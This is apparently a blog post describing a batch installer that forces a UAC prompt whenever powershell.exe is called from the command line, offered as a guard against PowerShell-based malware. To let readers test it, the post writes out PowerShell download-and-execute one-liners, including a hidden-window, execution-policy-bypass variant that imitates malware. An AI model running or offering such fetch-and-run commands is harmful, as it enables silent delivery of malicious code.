Friday, May 18, 2018

Run Powershell.exe As Administrator Installer for Windows 10+

Force UAC pop-up for Powershell.exe by setting run as Administrator using this Windows 10+ Batch File Installer

This script installs "Powershell.exe Run as Admin Win 10" which will force any command line invocation of Powershell.exe to announce a UAC pop-up asking to run as Administrator privileges. This copies the current default Powershell.exe location to C:\Windows\Powershell.exe, to become new default Powershell.exe that will be run. It's a simple way to monitor invocation of scripts from some rogue/hack attempts that uses default powershell.exe command to launch scripts. Clever and recent Powershell malware download there own builds of the poweshell.exe.

The following image of malware is an example is from Trend Micro "Security 101: The Rise of Fileless Threats that Abuse PowerShell" will not work, it will force the UAC pop-up.

A code snapshot of macro malware that uses “^” for command shell obfuscation. (using this script will force UAC pop-up)

You can test it for yourself, run this command in Powershell ISE

powershell -command "(New-Object System.Net.WebClient).DownloadFile('','%appdata%helloworld.ps1'); & '%appdata%helloworld.ps1' -u"

it will run and produce - "Hello World". downloads HelloWorld.ps1.

Or this command past into choose Windows Start->RUN  (simulate use by malware). 
There are many other ways see -

cmd.exe /c powershell.exe -executionpolicy bypass -nofile -windowstyle Hidden -command "(New-Object System.Net.WebClient).DownloadFile('','%appdata%/helloworld.ps1') ; & '%appdata%/helloworld.ps1' -u"  

After install of this script, you'll get UAC pop-up (see image below).

Also run a script from CMD line will not run, because the ".\" (current directory)  will no be passed correctly. For example, powershell .\Helloworld.ps1

will fail from any other directory that C:\windows and 2 directories below.

Setting Privileged Level is not accessible otherwise via Properties window in these default Windows 10+ directories;

  • x64 DIRECTORY - C:\Windows\System32\WindowsPowerShell\v1.0\ 
  • x32 DIRECTORY - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\

In Windows 10 the Compatibility tab is not available
This utility has the following features; 

Does not install any software, just sets some registry settings to enable the registry setting. Additionally,  it provides a proper uninstall option.

  • Works in Windows 10(and  equivalent Server versions).
  • comes with proper uninstaller located in "Add or Remove Programs" or Programs and Features

Prerequisite:  Your user account must be part Administrators group or you know Administrator password to install. 

1. Tip! Back-up your registry as a precaution.

2. Download and Unzip file

3. Simply, right-click on
    and Run as administratorthat's it.


The great thing about this script file, is it creates a uninstall option.

Search for "Add or Remove Programs" or goto Programs and Features, and right-click on the "Powershell.exe Run as Admin Win 10 (Uninstall only)" and choose Uninstall to completely remove.

Windows Major Updates

You may have to reinstall this to run any updates to Powershell platform.

Similar Utilities of Interest

Run Powershell.exe As Administrator Installer for Windows 7 or less

Edit in Notepad As Administrator Shortcut to the File Context Menu in Windows 10

Shutdown, Restart, Log-off, Hibernate, Lock Workstation, Switch User Start Tiles for Windows 8/8.1/10 featuring new Metro Icons

Administrative Tools Metro Tile, Control Panel "God Mode" Metro Tile, Windows Update Metro Tile , Windows Explorer Search Metro Tile for Windows 8.1,10 

No comments:

Post a Comment